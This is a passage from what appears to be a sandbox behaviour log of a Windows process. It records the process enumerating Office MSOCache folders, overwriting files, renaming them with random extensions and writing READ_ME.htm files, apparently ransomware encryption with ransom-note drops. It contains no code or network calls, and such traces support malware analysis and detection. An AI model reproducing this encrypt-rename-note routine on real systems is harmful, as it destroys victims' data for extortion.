hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdfce780, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xdfce780, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0133.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf47c6f70, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xf47c6f70, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0133.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a72fa0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41a72fa0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.045] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a72fa0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41a72fa0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0133.045] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.045] SetErrorMode (uMode=0x0) returned 0x1 [0133.045] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.045] SetErrorMode (uMode=0x1) returned 0x0 [0133.046] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb87a4fc0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0xb87a4fc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd2053610, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x58095e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0133.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdfce780, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xdfce780, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0133.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf47c6f70, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xf47c6f70, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0133.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a72fa0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41a72fa0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.046] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a72fa0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41a72fa0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0133.047] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.047] SetErrorMode (uMode=0x0) returned 0x1 [0133.047] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml", lpFilePart=0x0) returned 0x4b [0133.047] SetErrorMode (uMode=0x1) returned 0x0 [0133.047] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.048] GetFileType (hFile=0x1d0) returned 0x1 [0133.048] SetErrorMode (uMode=0x0) returned 0x1 [0133.048] GetFileType (hFile=0x1d0) returned 0x1 [0133.048] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x6f4 [0133.048] ReadFile (in: hFile=0x1d0, lpBuffer=0x28bc848, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28bc848*, lpNumberOfBytesRead=0x21d4d8*=0x6f4, lpOverlapped=0x0) returned 1 [0133.065] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml", lpFilePart=0x0) returned 0x4b [0133.065] SetErrorMode (uMode=0x1) returned 0x0 [0133.066] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.067] GetFileType (hFile=0x1d0) returned 0x1 [0133.067] SetErrorMode (uMode=0x0) returned 0x1 [0133.067] GetFileType (hFile=0x1d0) returned 0x1 [0133.067] WriteFile (in: hFile=0x1d0, lpBuffer=0x299fce8*, nNumberOfBytesToWrite=0x700, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x299fce8*, lpNumberOfBytesWritten=0x21d478*=0x700, lpOverlapped=0x0) returned 1 [0133.069] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml", lpFilePart=0x0) returned 0x4b [0133.069] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml.fs3y21", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml.fs3y21", lpFilePart=0x0) returned 0x52 [0133.069] SetErrorMode (uMode=0x1) returned 0x0 [0133.069] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf47c6f70, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xf47c6f70, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0x4be6efa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x700)) returned 1 [0133.069] SetErrorMode (uMode=0x0) returned 0x1 [0133.070] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\ExcelMUI.xml.fs3y21" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\excelmui.xml.fs3y21")) returned 1 [0133.072] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.072] SetErrorMode (uMode=0x1) returned 0x0 [0133.072] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.073] GetFileType (hFile=0x1d0) returned 0x1 [0133.073] SetErrorMode (uMode=0x0) returned 0x1 [0133.073] GetFileType (hFile=0x1d0) returned 0x1 [0133.073] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x9b2 [0133.073] ReadFile (in: hFile=0x1d0, lpBuffer=0x29a2308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29a2308*, lpNumberOfBytesRead=0x21d4d8*=0x9b2, lpOverlapped=0x0) returned 1 [0133.154] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.155] SetErrorMode (uMode=0x1) returned 0x0 [0133.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.156] GetFileType (hFile=0x1d0) returned 0x1 [0133.156] SetErrorMode (uMode=0x0) returned 0x1 [0133.156] GetFileType (hFile=0x1d0) returned 0x1 [0133.156] WriteFile (in: hFile=0x1d0, lpBuffer=0x28953e0*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x28953e0*, lpNumberOfBytesWritten=0x21d478*=0x9c0, lpOverlapped=0x0) returned 1 [0133.158] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.158] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml.jcr1h6", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml.jcr1h6", lpFilePart=0x0) returned 0x4f [0133.158] SetErrorMode (uMode=0x1) returned 0x0 [0133.158] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a72fa0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41a72fa0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4bf537e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x9c0)) returned 1 [0133.159] SetErrorMode (uMode=0x0) returned 0x1 [0133.159] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\Setup.xml.jcr1h6" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\setup.xml.jcr1h6")) returned 1 [0133.159] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0133.160] SetErrorMode (uMode=0x1) returned 0x0 [0133.160] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0133.160] GetFileType (hFile=0x1d0) returned 0x1 [0133.160] SetErrorMode (uMode=0x0) returned 0x1 [0133.160] GetFileType (hFile=0x1d0) returned 0x1 [0133.161] WriteFile (in: hFile=0x1d0, lpBuffer=0x289a220*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x289a220*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0133.162] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.162] SetErrorMode (uMode=0x1) returned 0x0 [0133.162] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.262] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.263] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x169d4f10, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x169d4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd33f63c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0133.263] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34e10110, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x34e10110, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xd33f63c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0133.263] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6902120, ftCreationTime.dwHighDateTime=0x1d0cbc1, ftLastAccessTime.dwLowDateTime=0x6902120, ftLastAccessTime.dwHighDateTime=0x1d0cbc1, ftLastWriteTime.dwLowDateTime=0xd34445c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6048ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0133.263] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426d17b0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x426d17b0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.263] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426d17b0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x426d17b0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0133.263] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.263] SetErrorMode (uMode=0x0) returned 0x1 [0133.264] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.264] SetErrorMode (uMode=0x1) returned 0x0 [0133.264] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x169d4f10, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x169d4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd33f63c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0133.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34e10110, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x34e10110, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xd33f63c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0133.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6902120, ftCreationTime.dwHighDateTime=0x1d0cbc1, ftLastAccessTime.dwLowDateTime=0x6902120, ftLastAccessTime.dwHighDateTime=0x1d0cbc1, ftLastWriteTime.dwLowDateTime=0xd34445c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6048ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0133.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426d17b0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x426d17b0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426d17b0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x426d17b0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, 